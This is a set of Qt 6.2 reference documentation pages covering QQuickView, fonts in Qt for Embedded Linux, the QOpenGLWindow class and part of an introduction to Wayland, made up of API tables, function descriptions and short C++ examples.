|  | **[QQuickView](qquickview#QQuickView)**(QWindow \**parent* = nullptr) |
|  virtual  | **[~QQuickView](qquickview#dtor.QQuickView)**() override |
|  QQmlEngine \* | **[engine](qquickview#engine)**() const |
|  QList<QQmlError>  | **[errors](qquickview#errors)**() const |
|  QSize  | **[initialSize](qquickview#initialSize)**() const |
|  QQuickView::ResizeMode  | **[resizeMode](qquickview#resizeMode-prop)**() const |
|  QQmlContext \* | **[rootContext](qquickview#rootContext)**() const |
|  QQuickItem \* | **[rootObject](qquickview#rootObject)**() const |
|  void  | **[setResizeMode](qquickview#resizeMode-prop)**(QQuickView::ResizeMode) |
|  QUrl  | **[source](qquickview#source)**() const |
|  QQuickView::Status  | **[status](qquickview#status-prop)**() const |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[setInitialProperties](qquickview#setInitialProperties)**(const QVariantMap &*initialProperties*) |
|  void  | **[setSource](qquickview#setSource)**(const QUrl &*url*) |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[statusChanged](qquickview#statusChanged)**(QQuickView::Status *status*) |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[keyPressEvent](qquickview#keyPressEvent)**(QKeyEvent \**e*) override |
|  virtual void  | **[keyReleaseEvent](qquickview#keyReleaseEvent)**(QKeyEvent \**e*) override |
|  virtual void  | **[mouseMoveEvent](qquickview#mouseMoveEvent)**(QMouseEvent \**e*) override |
|  virtual void  | **[mousePressEvent](qquickview#mousePressEvent)**(QMouseEvent \**e*) override |
|  virtual void  | **[mouseReleaseEvent](qquickview#mouseReleaseEvent)**(QMouseEvent \**e*) override |

 Detailed Description
--------------------

 This is a convenience subclass of [QQuickWindow](qquickwindow) which will automatically load and display a QML scene when given the URL of the main source file. Alternatively, you can instantiate your own objects using [QQmlComponent](qqmlcomponent) and place them in a manually setup [QQuickWindow](qquickwindow).

 Typical usage:

 
```
int main(int argc, char *argv[])
{
    QGuiApplication app(argc, argv);

    QQuickView *view = new QQuickView;
    view->setSource(QUrl::fromLocalFile("myqmlfile.qml"));
    view->show();
    return app.exec();
}
```
 To receive errors related to loading and executing QML with QQuickView, you can connect to the [statusChanged](qquickview#statusChanged)() signal and monitor for [QQuickView::Error](qquickview#Status-enum). The errors are available via [QQuickView::errors](qquickview#errors)().

 QQuickView also manages sizing of the view and root object. By default, the [resizeMode](qquickview#resizeMode-prop) is [SizeViewToRootObject](qquickview#ResizeMode-enum), which will load the component and resize it to the size of the view. Alternatively the [resizeMode](qquickview#resizeMode-prop) may be set to [SizeRootObjectToView](qquickview#ResizeMode-enum) which will resize the view to the size of the root object.

 **See also** [Exposing Attributes of C++ Types to QML](qtqml-cppintegration-exposecppattributes) and [QQuickWidget](qquickwidget).

 Member Type Documentation
-------------------------

 ### enum QQuickView::ResizeMode

 This enum specifies how to resize the view.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QQuickView::SizeViewToRootObject` | `0` | The view resizes with the root item in the QML. |
| `QQuickView::SizeRootObjectToView` | `1` | The view will automatically resize the root item to the size of the view. |

 ### enum QQuickView::Status

 Specifies the loading status of the [QQuickView](qquickview).

 

| Constant | Value | Description |
| --- | --- | --- |
| `QQuickView::Null` | `0` | This [QQuickView](qquickview) has no source set. |
| `QQuickView::Ready` | `1` | This [QQuickView](qquickview) has loaded and created the QML component. |
| `QQuickView::Loading` | `2` | This [QQuickView](qquickview) is loading network data. |
| `QQuickView::Error` | `3` | One or more errors has occurred. Call [errors](qquickview#errors)() to retrieve a list of errors. |

  Property Documentation
----------------------

 ### 
resizeMode : [ResizeMode](qquickview#ResizeMode-enum)

 This property holds whether the view should resize the window contents

 If this property is set to [SizeViewToRootObject](qquickview#ResizeMode-enum) (the default), the view resizes to the size of the root item in the QML.

 If this property is set to [SizeRootObjectToView](qquickview#ResizeMode-enum), the view will automatically resize the root item to the size of the view.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QQuickView::ResizeMode  | **resizeMode**() const |
|  void  | **setResizeMode**(QQuickView::ResizeMode) |

 **See also** [initialSize](qquickview#initialSize)().

 ### 
source : [QUrl](qurl)

 This property holds the URL of the source of the QML component.

 Ensure that the URL provided is full and correct, in particular, use [QUrl::fromLocalFile](qurl#fromLocalFile)() when loading a file from the local filesystem.

 Note that setting a source URL will result in the QML component being instantiated, even if the URL is unchanged from the current value.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QUrl  | **[source](qquickview#source)**() const |
|  void  | **[setSource](qquickview#setSource)**(const QUrl &*url*) |

 ### 
`[read-only]` status : const [Status](qquickview#Status-enum)

 The component's current [status](qquickview#Status-enum).

 **Access functions:**

 

|  |  |
| --- | --- |
|  QQuickView::Status  | **status**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[statusChanged](qquickview#statusChanged)**(QQuickView::Status *status*) |

  Member Function Documentation
-----------------------------

 ### QQuickView::QQuickView(const [QUrl](qurl) &*source*, [QWindow](qwindow#QWindow) \**parent* = nullptr)

 Constructs a QQuickView with the given QML *source* and *parent*. The default value of *parent* is 0.

 ### QQuickView::QQuickView([QQmlEngine](qqmlengine) \**engine*, [QWindow](qwindow#QWindow) \**parent*)

 Constructs a QQuickView with the given QML *engine* and *parent*.

 Note: In this case, the QQuickView does not own the given *engine* object; it is the caller's responsibility to destroy the engine. If the *engine* is deleted before the view, [status](qquickview#status-prop)() will return [QQuickView::Error](qquickview#Status-enum).

 **See also** [Status](qquickview#Status-enum), [status](qquickview#status-prop)(), and [errors](qquickview#errors)().

 ### QQuickView::QQuickView([QWindow](qwindow#QWindow) \**parent* = nullptr)

 Constructs a QQuickView with the given *parent*. The default value of *parent* is 0.

 ### 
`[slot, since 5.14]` void QQuickView::setInitialProperties(const QVariantMap &*initialProperties*)

 Sets the initial properties *initialProperties* with which the QML component gets initialized after calling [QQuickView::setSource](qquickview#setSource)().

 
```
    QScopedPointer<QQuickView> view { new QQuickView };
    view->setInitialProperties({"x, 100"}, {"width", 50});
    view->setSource(QUrl::fromLocalFile("myqmlfile.qml"));
    view->show();
```
  **Note:** You can only use this function to initialize top-level properties.

   **Note:** This function should always be called before [setSource](qquickview#setSource), as it has no effect once the component has become `Ready`.

  This function was introduced in Qt 5.14.

 **See also** [QQmlComponent::createWithInitialProperties](qqmlcomponent#createWithInitialProperties)().

 ### 
`[slot]` void QQuickView::setSource(const [QUrl](qurl) &*url*)

 Sets the source to the *url*, loads the QML component and instantiates it.

 Ensure that the URL provided is full and correct, in particular, use [QUrl::fromLocalFile](qurl#fromLocalFile)() when loading a file from the local filesystem.

 Calling this method multiple times with the same url will result in the QML component being reinstantiated.

 **Note:** Setter function for property [source](qquickview#source). 

 **See also** [source](qquickview#source)().

 ### 
`[signal]` void QQuickView::statusChanged([QQuickView::Status](qquickview#Status-enum) *status*)

 This signal is emitted when the component's current *status* changes.

 **Note:** Notifier signal for property [status](qquickview#status-prop). 

 ### 
`[override virtual]` QQuickView::~QQuickView()

 Destroys the [QQuickView](qquickview).

 ### 
[QQmlEngine](qqmlengine) \*QQuickView::engine() const

 Returns a pointer to the [QQmlEngine](qqmlengine) used for instantiating QML Components.

 ### 
[QList](qlist)<[QQmlError](qqmlerror)> QQuickView::errors() const

 Return the list of errors that occurred during the last compile or create operation. When the status is not Error, an empty list is returned.

 ### 
[QSize](qsize) QQuickView::initialSize() const

 Returns the initial size of the root object.

 If [resizeMode](qquickview#resizeMode-prop) is QQuickItem::SizeRootObjectToView the root object will be resized to the size of the view. initialSize contains the size of the root object before it was resized.

 ### 
`[override virtual protected]` void QQuickView::keyPressEvent([QKeyEvent](qkeyevent) \**e*)

 Reimplements: [QQuickWindow::keyPressEvent](qquickwindow#keyPressEvent)(QKeyEvent \*e).

 ### 
`[override virtual protected]` void QQuickView::keyReleaseEvent([QKeyEvent](qkeyevent) \**e*)

 Reimplements: [QQuickWindow::keyReleaseEvent](qquickwindow#keyReleaseEvent)(QKeyEvent \*e).

 ### 
`[override virtual protected]` void QQuickView::mouseMoveEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QQuickWindow::mouseMoveEvent](qquickwindow#mouseMoveEvent)(QMouseEvent \*event).

 ### 
`[override virtual protected]` void QQuickView::mousePressEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QQuickWindow::mousePressEvent](qquickwindow#mousePressEvent)(QMouseEvent \*event).

 ### 
`[override virtual protected]` void QQuickView::mouseReleaseEvent([QMouseEvent](qmouseevent) \**e*)

 Reimplements: [QQuickWindow::mouseReleaseEvent](qquickwindow#mouseReleaseEvent)(QMouseEvent \*event).

 ### 
[QQmlContext](qqmlcontext) \*QQuickView::rootContext() const

 This function returns the root of the context hierarchy. Each QML component is instantiated in a [QQmlContext](qqmlcontext). [QQmlContext](qqmlcontext)'s are essential for passing data to QML components. In QML, contexts are arranged hierarchically and this hierarchy is managed by the [QQmlEngine](qqmlengine).

 ### 
[QQuickItem](qquickitem) \*QQuickView::rootObject() const

 Returns the view's root [item](qquickitem).

 ### 
[QUrl](qurl) QQuickView::source() const

 Returns the source URL, if set.

 **Note:** Getter function for property source. 

 **See also** [setSource](qquickview#setSource)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qquickview.html>

Qt for Embedded Linux Fonts
===========================

 Qt normally uses `fontconfig` to provide access to system fonts. If `fontconfig` is not available, e.g. in dedicated embedded systems where space is at a premium, Qt will fall back to using `QBasicFontDatabase`. In this case, Qt applications will look for fonts in Qt's `lib/fonts/` directory. Qt will automatically detect prerendered fonts and TrueType fonts.

 Qt uses the [FreeType 2](http://freetype.sourceforge.net/freetype2/index.html) font engine to produce font output. The formats supported depends on the locally installed version of the FreeType library. When using QBasicFontDatabase, Qt also supports the Qt Prerendered Font format ([QPF2](qt-embedded-fonts#qpf2)), a light-weight non-scalable font formats. QPF2 is the native format of Qt for Embedded Linux 4.x.

 ![]


All supported fonts use the Unicode character encoding. Most fonts available today do, but they usually don't contain *all* the Unicode characters. A complete 16-point Unicode font uses over 1 MB of memory.

 FreeType Formats
----------------

 The [FreeType 2](http://freetype.sourceforge.net/freetype2/index.html) library can support the following font formats:

 * TrueType (TTF)
* PostScript Type1 (PFA/PFB)
* Bitmap Distribution Format (BDF)
* CID-keyed Type1
* Compact Font Format (CFF)
* OpenType fonts
* SFNT-based bitmap fonts
* Portable Compiled Format (PCF)
* Microsoft Windows Font File Format (Windows FNT)
* Portable Font Resource (PFR)
* Type 42 (limited support)

 It is possible to add modules to the [FreeType 2](http://freetype.sourceforge.net/freetype2/index.html) font engine to support other types of font files. For more information, see the font engine's own website: <http://freetype.sourceforge.net/freetype2/index.html>.

 Glyphs rendered using FreeType are shared efficiently between applications, reducing memory requirements and speeding up text rendering.

 Qt Prerendered Font (QPF2)
--------------------------

 The Qt Prerendered Font (QPF2) is an architecture-independent, light-weight and non-scalable font format.

 Qt comes with the cross-platform [makeqpf](qt-embedded-makeqpf) tool, included in the `tools` directory, which allows generation of QPF2 files from system fonts.

 QPF2 supports anti-aliasing and complex writing systems, using information from the corresponding TrueType font, if present on the system. The format is designed to be mapped directly to memory. The same format is used to share glyphs from non-prerendered fonts between applications.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qt-embedded-fonts.html>

QOpenGLWindow Class
===================

 The QOpenGLWindow class is a convenience subclass of [QWindow](qwindow) to perform OpenGL painting. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QOpenGLWindow> |
|  CMake: |  find\_package(Qt6 COMPONENTS OpenGL REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::OpenGL) |
|  qmake: |  QT += opengl |
|  Since: |  Qt 5.4 |
|  Inherits: | [QPaintDeviceWindow](qpaintdevicewindow) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qopenglwindow-members.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[UpdateBehavior](qopenglwindow#UpdateBehavior-enum)** { NoPartialUpdate, PartialUpdateBlit, PartialUpdateBlend } |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QOpenGLWindow](qopenglwindow#QOpenGLWindow-1)**(QOpenGLContext \**shareContext*, QOpenGLWindow::UpdateBehavior *updateBehavior* = NoPartialUpdate, QWindow \**parent* = nullptr) |
|  | **[QOpenGLWindow](qopenglwindow#QOpenGLWindow)**(QOpenGLWindow::UpdateBehavior *updateBehavior* = NoPartialUpdate, QWindow \**parent* = nullptr) |
|  virtual  | **[~QOpenGLWindow](qopenglwindow#dtor.QOpenGLWindow)**() |
|  QOpenGLContext \* | **[context](qopenglwindow#context)**() const |
|  GLuint  | **[defaultFramebufferObject](qopenglwindow#defaultFramebufferObject)**() const |
|  void  | **[doneCurrent](qopenglwindow#doneCurrent)**() |
|  QImage  | **[grabFramebuffer](qopenglwindow#grabFramebuffer)**() |
|  bool  | **[isValid](qopenglwindow#isValid)**() const |
|  void  | **[makeCurrent](qopenglwindow#makeCurrent)**() |
|  QOpenGLContext \* | **[shareContext](qopenglwindow#shareContext)**() const |
|  QOpenGLWindow::UpdateBehavior  | **[updateBehavior](qopenglwindow#updateBehavior)**() const |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[frameSwapped](qopenglwindow#frameSwapped)**() |

 Protected Functions
-------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[initializeGL](qopenglwindow#initializeGL)**() |
|  virtual void  | **[paintGL](qopenglwindow#paintGL)**() |
|  virtual void  | **[paintOverGL](qopenglwindow#paintOverGL)**() |
|  virtual void  | **[paintUnderGL](qopenglwindow#paintUnderGL)**() |
|  virtual void  | **[resizeGL](qopenglwindow#resizeGL)**(int *w*, int *h*) |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[paintEvent](qopenglwindow#paintEvent)**(QPaintEvent \**event*) override |
|  virtual void  | **[resizeEvent](qopenglwindow#resizeEvent)**(QResizeEvent \**event*) override |

 Detailed Description
--------------------

 QOpenGLWindow is an enhanced [QWindow](qwindow) that allows easily creating windows that perform OpenGL rendering using an API that is compatible with [QOpenGLWidget](qopenglwidget) Unlike [QOpenGLWidget](qopenglwidget), QOpenGLWindow has no dependency on the widgets module and offers better performance.

 A typical application will subclass QOpenGLWindow and reimplement the following virtual functions:

 * [initializeGL](qopenglwindow#initializeGL)() to perform OpenGL resource initialization
* [resizeGL](qopenglwindow#resizeGL)() to set up the transformation matrices and other window size dependent resources
* [paintGL](qopenglwindow#paintGL)() to issue OpenGL commands or draw using [QPainter](qpainter)

 To schedule a repaint, call the [update](qpaintdevicewindow#update-2)() function. Note that this will not immediately result in a call to [paintGL](qopenglwindow#paintGL)(). Calling [update](qpaintdevicewindow#update-2)() multiple times in a row will not change the behavior in any way.

 This is a slot so it can be connected to a [QTimer::timeout](qtimer#timeout)() signal to perform animation. Note however that in the modern OpenGL world it is a much better choice to rely on synchronization to the vertical refresh rate of the display. See [setSwapInterval](qsurfaceformat#setSwapInterval)() on a description of the swap interval. With a swap interval of `1`, which is the case on most systems by default, the [swapBuffers](qopenglcontext#swapBuffers)() call, that is executed internally by QOpenGLWindow after each repaint, will block and wait for vsync. This means that whenever the swap is done, an update can be scheduled again by calling [update](qpaintdevicewindow#update-2)(), without relying on timers.

 To request a specific configuration for the context, use [setFormat](qwindow#setFormat)() like for any other [QWindow](qwindow). This allows, among others, requesting a given OpenGL version and profile, or enabling depth and stencil buffers.

 Unlike [QWindow](qwindow), QOpenGLWindow allows opening a painter on itself and perform [QPainter](qpainter)-based drawing.

 QOpenGLWindow supports multiple update behaviors. The default, `NoPartialUpdate` is equivalent to a regular, OpenGL-based [QWindow](qwindow). In contrast, `PartialUpdateBlit` and `PartialUpdateBlend` are more in line with [QOpenGLWidget](qopenglwidget)'s way of working, where there is always an extra, dedicated framebuffer object present. These modes allow, by sacrificing some performance, redrawing only a smaller area on each paint and having the rest of the content preserved from of the previous frame. This is useful for applications than render incrementally using [QPainter](qpainter), because this way they do not have to redraw the entire window content on each [paintGL](qopenglwindow#paintGL)() call.

 Similarly to [QOpenGLWidget](qopenglwidget), QOpenGLWindow supports the [Qt::AA\_ShareOpenGLContexts](qt#ApplicationAttribute-enum) attribute. When enabled, the OpenGL contexts of all QOpenGLWindow instances will share with each other. This allows accessing each other's shareable OpenGL resources.

 For more information on graphics in Qt, see [Graphics](graphicsview).

 Member Type Documentation
-------------------------

 ### enum QOpenGLWindow::UpdateBehavior

 This enum describes the update strategy of the [QOpenGLWindow](qopenglwindow).

 

| Constant | Value | Description |
| --- | --- | --- |
| `QOpenGLWindow::NoPartialUpdate` | `0` | Indicates that the entire window surface will redrawn on each update and so no additional framebuffers are needed. This is the setting used in most cases and is equivalent to how drawing directly via [QWindow](qwindow) would function. |
| `QOpenGLWindow::PartialUpdateBlit` | `1` | Indicates that the drawing performed in [paintGL](qopenglwindow#paintGL)() does not cover the entire window. In this case an extra framebuffer object is created under the hood, and rendering performed in [paintGL](qopenglwindow#paintGL)() will target this framebuffer. This framebuffer is then blitted onto the window surface's default framebuffer after each paint. This allows having [QPainter](qpainter)-based drawing code in [paintGL](qopenglwindow#paintGL)() which only repaints a smaller area at a time, because, unlike NoPartialUpdate, the previous content is preserved. |
| `QOpenGLWindow::PartialUpdateBlend` | `2` | Similar to PartialUpdateBlit, but instead of using framebuffer blits, the contents of the extra framebuffer is rendered by drawing a textured quad with blending enabled. This, unlike PartialUpdateBlit, allows alpha blended content and works even when the glBlitFramebuffer is not available. Performance-wise this setting is likely to be somewhat slower than PartialUpdateBlit. |

 Member Function Documentation
-----------------------------

 ### QOpenGLWindow::QOpenGLWindow([QOpenGLContext](qopenglcontext) \**shareContext*, [QOpenGLWindow::UpdateBehavior](qopenglwindow#UpdateBehavior-enum) *updateBehavior* = NoPartialUpdate, [QWindow](qwindow#QWindow) \**parent* = nullptr)

 Constructs a new QOpenGLWindow with the given *parent* and *updateBehavior*. The QOpenGLWindow's context will share with *shareContext*.

 **See also** [QOpenGLWindow::UpdateBehavior](qopenglwindow#UpdateBehavior-enum) and [shareContext](qopenglwindow#shareContext).

 ### QOpenGLWindow::QOpenGLWindow([QOpenGLWindow::UpdateBehavior](qopenglwindow#UpdateBehavior-enum) *updateBehavior* = NoPartialUpdate, [QWindow](qwindow#QWindow) \**parent* = nullptr)

 Constructs a new QOpenGLWindow with the given *parent* and *updateBehavior*.

 **See also** [QOpenGLWindow::UpdateBehavior](qopenglwindow#UpdateBehavior-enum).

 ### 
`[signal]` void QOpenGLWindow::frameSwapped()

 This signal is emitted after the potentially blocking [buffer swap](qopenglcontext#swapBuffers) has been done. Applications that wish to continuously repaint synchronized to the vertical refresh, should issue an [update](qpaintdevicewindow#update-2)() upon this signal. This allows for a much smoother experience compared to the traditional usage of timers.

 ### 
`[virtual, since 5.5]` QOpenGLWindow::~QOpenGLWindow()

 Destroys the [QOpenGLWindow](qopenglwindow) instance, freeing its resources.

 The OpenGLWindow's context is made current in the destructor, allowing for safe destruction of any child object that may need to release OpenGL resources belonging to the context provided by this window.

  **Warning:** if you have objects wrapping OpenGL resources (such as [QOpenGLBuffer](qopenglbuffer), [QOpenGLShaderProgram](qopenglshaderprogram), etc.) as members of a [QOpenGLWindow](qopenglwindow) subclass, you may need to add a call to [makeCurrent](qopenglwindow#makeCurrent)() in that subclass' destructor as well. Due to the rules of C++ object destruction, those objects will be destroyed *before* calling this function (but after that the destructor of the subclass has run), therefore making the OpenGL context current in this function happens too late for their safe disposal.

  This function was introduced in Qt 5.5.

 **See also** [makeCurrent](qopenglwindow#makeCurrent).

 ### 
[QOpenGLContext](qopenglcontext) \*QOpenGLWindow::context() const

 Returns The [QOpenGLContext](qopenglcontext) used by this window or `0` if not yet initialized.

 ### 
GLuint QOpenGLWindow::defaultFramebufferObject() const

 The framebuffer object handle used by this window.

 When the update behavior is set to `NoPartialUpdate`, there is no separate framebuffer object. In this case the returned value is the ID of the default framebuffer.

 Otherwise the value of the ID of the framebuffer object or `0` if not yet initialized.

 ### 
void QOpenGLWindow::doneCurrent()

 Releases the context.

 It is not necessary to call this function in most cases, since the widget will make sure the context is bound and released properly when invoking [paintGL](qopenglwindow#paintGL)().

 **See also** [makeCurrent](qopenglwindow#makeCurrent)().

 ### 
[QImage](qimage) QOpenGLWindow::grabFramebuffer()

 Returns a copy of the framebuffer.

  **Note:** This is a potentially expensive operation because it relies on glReadPixels() to read back the pixels. This may be slow and can stall the GPU pipeline.

   **Note:** When used together with update behavior `NoPartialUpdate`, the returned image may not contain the desired content when called after the front and back buffers have been swapped (unless preserved swap is enabled in the underlying windowing system interface). In this mode the function reads from the back buffer and the contents of that may not match the content on the screen (the front buffer). In this case the only place where this function can safely be used is [paintGL](qopenglwindow#paintGL)() or [paintOverGL](qopenglwindow#paintOverGL)().

  ### 
`[virtual protected]` void QOpenGLWindow::initializeGL()

 This virtual function is called once before the first call to [paintGL](qopenglwindow#paintGL)() or [resizeGL](qopenglwindow#resizeGL)(). Reimplement it in a subclass.

 This function should set up any required OpenGL resources and state.

 There is no need to call [makeCurrent](qopenglwindow#makeCurrent)() because this has already been done when this function is called. Note however that the framebuffer, in case partial update mode is used, is not yet available at this stage, so avoid issuing draw calls from here. Defer such calls to [paintGL](qopenglwindow#paintGL)() instead.

 **See also** [paintGL](qopenglwindow#paintGL)() and [resizeGL](qopenglwindow#resizeGL)().

 ### 
bool QOpenGLWindow::isValid() const

 Returns `true` if the window's OpenGL resources, like the context, have been successfully initialized. Note that the return value is always `false` until the window becomes exposed (shown).

 ### 
void QOpenGLWindow::makeCurrent()

 Prepares for rendering OpenGL content for this window by making the corresponding context current and binding the framebuffer object, if there is one, in that context context.

 It is not necessary to call this function in most cases, because it is called automatically before invoking [paintGL](qopenglwindow#paintGL)(). It is provided nonetheless to support advanced, multi-threaded scenarios where a thread different than the GUI or main thread may want to update the surface or framebuffer contents. See [QOpenGLContext](qopenglcontext) for more information on threading related issues.

 This function is suitable for calling also when the underlying platform window is already destroyed. This means that it is safe to call this function from a [QOpenGLWindow](qopenglwindow) subclass' destructor. If there is no native window anymore, an offscreen surface is used instead. This ensures that OpenGL resource cleanup operations in the destructor will always work, as long as this function is called first.

 **See also** [QOpenGLContext](qopenglcontext), [context](qopenglwindow#context)(), [paintGL](qopenglwindow#paintGL)(), and [doneCurrent](qopenglwindow#doneCurrent)().

 ### 
`[override virtual protected]` void QOpenGLWindow::paintEvent([QPaintEvent](qpaintevent) \**event*)

 Reimplements: [QPaintDeviceWindow::paintEvent](qpaintdevicewindow#paintEvent)(QPaintEvent \*event).

 Paint *event* handler. Calls [paintGL](qopenglwindow#paintGL)().

 **See also** [paintGL](qopenglwindow#paintGL)().

 ### 
`[virtual protected]` void QOpenGLWindow::paintGL()

 This virtual function is called whenever the window contents needs to be painted. Reimplement it in a subclass.

 There is no need to call [makeCurrent](qopenglwindow#makeCurrent)() because this has already been done when this function is called.

 Before invoking this function, the context and the framebuffer, if there is one, are bound, and the viewport is set up by a call to glViewport(). No other state is set and no clearing or drawing is performed by the framework.

  **Note:** When using a partial update behavior, like `PartialUpdateBlend`, the output of the previous paintGL() call is preserved and, after the additional drawing perfomed in the current invocation of the function, the content is blitted or blended over the content drawn directly to the window in [paintUnderGL](qopenglwindow#paintUnderGL)().

  **See also** [initializeGL](qopenglwindow#initializeGL)(), [resizeGL](qopenglwindow#resizeGL)(), [paintUnderGL](qopenglwindow#paintUnderGL)(), [paintOverGL](qopenglwindow#paintOverGL)(), and [UpdateBehavior](qopenglwindow#UpdateBehavior-enum).

 ### 
`[virtual protected]` void QOpenGLWindow::paintOverGL()

 This virtual function is called after each invocation of [paintGL](qopenglwindow#paintGL)().

 When the update mode is set to [NoPartialUpdate](qopenglwindow#UpdateBehavior-enum), there is no difference between this function and [paintGL](qopenglwindow#paintGL)(), performing rendering in either of them leads to the same result.

 Like [paintUnderGL](qopenglwindow#paintUnderGL)(), rendering in this function targets the default framebuffer of the window, regardless of the update behavior. It gets called after [paintGL](qopenglwindow#paintGL)() has returned and the blit ([PartialUpdateBlit](qopenglwindow#UpdateBehavior-enum)) or quad drawing ([PartialUpdateBlend](qopenglwindow#UpdateBehavior-enum)) has been done.

 **See also** [paintGL](qopenglwindow#paintGL)(), [paintUnderGL](qopenglwindow#paintUnderGL)(), and [UpdateBehavior](qopenglwindow#UpdateBehavior-enum).

 ### 
`[virtual protected]` void QOpenGLWindow::paintUnderGL()

 The virtual function is called before each invocation of [paintGL](qopenglwindow#paintGL)().

 When the update mode is set to `NoPartialUpdate`, there is no difference between this function and [paintGL](qopenglwindow#paintGL)(), performing rendering in either of them leads to the same result.

 The difference becomes significant when using `PartialUpdateBlend`, where an extra framebuffer object is used. There, [paintGL](qopenglwindow#paintGL)() targets this additional framebuffer object, which preserves its contents, while paintUnderGL() and [paintOverGL](qopenglwindow#paintOverGL)() target the default framebuffer, i.e. directly the window surface, the contents of which is lost after each displayed frame.

  **Note:** Avoid relying on this function when the update behavior is `PartialUpdateBlit`. This mode involves blitting the extra framebuffer used by [paintGL](qopenglwindow#paintGL)() onto the default framebuffer after each invocation of [paintGL](qopenglwindow#paintGL)(), thus overwriting all drawing generated in this function.

  **See also** [paintGL](qopenglwindow#paintGL)(), [paintOverGL](qopenglwindow#paintOverGL)(), and [UpdateBehavior](qopenglwindow#UpdateBehavior-enum).

 ### 
`[override virtual protected]` void QOpenGLWindow::resizeEvent([QResizeEvent](qresizeevent) \**event*)

 Reimplements: [QWindow::resizeEvent](qwindow#resizeEvent)(QResizeEvent \*ev).

 Resize *event* handler. Calls [resizeGL](qopenglwindow#resizeGL)().

 **See also** [resizeGL](qopenglwindow#resizeGL)().

 ### 
`[virtual protected]` void QOpenGLWindow::resizeGL(int *w*, int *h*)

 This virtual function is called whenever the widget has been resized. Reimplement it in a subclass. The new size is passed in *w* and *h*.

  **Note:** This is merely a convenience function in order to provide an API that is compatible with [QOpenGLWidget](qopenglwidget). Unlike with [QOpenGLWidget](qopenglwidget), derived classes are free to choose to override [resizeEvent](qopenglwindow#resizeEvent)() instead of this function.

   **Note:** Avoid issuing OpenGL commands from this function as there may not be a context current when it is invoked. If it cannot be avoided, call [makeCurrent](qopenglwindow#makeCurrent)().

   **Note:** Scheduling updates from here is not necessary. The windowing systems will send expose events that trigger an update automatically.

  **See also** [initializeGL](qopenglwindow#initializeGL)() and [paintGL](qopenglwindow#paintGL)().

 ### 
[QOpenGLContext](qopenglcontext) \*QOpenGLWindow::shareContext() const

 Returns The [QOpenGLContext](qopenglcontext) requested to be shared with this window's [QOpenGLContext](qopenglcontext).

 ### 
[QOpenGLWindow::UpdateBehavior](qopenglwindow#UpdateBehavior-enum) QOpenGLWindow::updateBehavior() const

 Returns the update behavior for this [QOpenGLWindow](qopenglwindow).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qopenglwindow.html>

Wayland and Qt
==============

 Wayland was developed as an alternative to X11 on Linux. Its main purpose is to manage how the content of applications is displayed together on a shared screen, and how a user can interact with multiple applications sharing the same input devices.

 This role in an operating system is often called a *display server*. The Wayland display server may also sometimes be called a *compositor* and a *window manager*, referring to specific tasks it performs as part of its duty.

 In the following, we will give a short introduction to Wayland and its role in Qt. For more details and background about Wayland itself, refer to the [official documentation](https://wayland.freedesktop.org/docs/html/).

 What is a Display Server
------------------------

 The display server is the part of the operating system which manages the screen real estate and other shared resources. On a typical desktop system, you may have many independent applications running at the same time, each expecting to be able to render graphics to the screen and receive input.

 The display server is a link between the application and shared resources such as a screen and input devices. A typical display server on a desktop system will place application content into distinct rectangular "windows", which can be moved and resized by the user. The display server makes sure that the application content is displayed at the right position on the screen, that the active window receives input from the keyboard, that overlapping windows are drawn in the right order, and so on.

 On other types of systems, the display server may be more restrictive. If the screen is an instrument panel in a car, or the control panel of a fork lift, for instance, then moving and resizing windows may not be desirable. Instead, each application may be locked into a pre-defined area of the screen and receive input from preassigned devices.

 Either way, as long as there are multiple isolated processes competing for the same resources, a display server is useful.

 The Role of Wayland
-------------------

 The [Wayland](https://wayland.freedesktop.org/) name may refer to several related items:

 * A set of protocols for communicating between a display server and its clients.
* A library written in C with functions for inter-process communication, serving as the foundation for implementing said protocols.
* An XML-based language for extending the protocol, as well as a tool for generating binding code in C from such extensions.

 Qt provides implementations for both the client and the server side of the protocol.

 Normal Qt applications can be run as clients on a Wayland display server by selecting the "wayland" QPA plugin (this is the default on certain systems). In addition, the [Qt Wayland Compositor](qtwaylandcompositor-index) module can be used to develop the display server itself.

 Qt also has convenience functionality for easily extending the Wayland protocols with new interfaces.

 Wayland and Other Technology
----------------------------

 On the Linux desktop, Wayland is an alternative to X11 and related extensions. It is a compositing display server at its core, and the term "compositor" is often used to describe the Wayland server. This means that clients will render content into an off-screen buffer, which will later be "composited" with other clients on the screen, allowing window effects such as drop shadows, transparency, background blurring, and so on.

 One important design principle of the original X11 protocols is that the display server can be running on a thin terminal with only a screen and input devices. Its clients would then be running on remote systems with more processing power, communicating with the server over a network connection.

 In contrast, Wayland is designed around the observation that, in modern setups, the client and display server are usually running on the same hardware. Distributed computing, remote storage and remote desktop functionality are usually handled through other mechanisms. Designing this into the protocol enables sharing graphics memory between the client and the server: When the compositor is placing client content on screen, it can simply copy it from one part of graphics memory to another.

 For this to work optimally, the graphics driver must support Wayland. This support is provided through an extension to `EGL` which is called `EXT_platform_wayland`.

  **Note:** Qt Wayland also supports compositing on systems where `EXT_platform_wayland` is not supported, either through `XComposite` or by copying application content to shared CPU memory. But for optimal performance, we recommend systems with driver support.

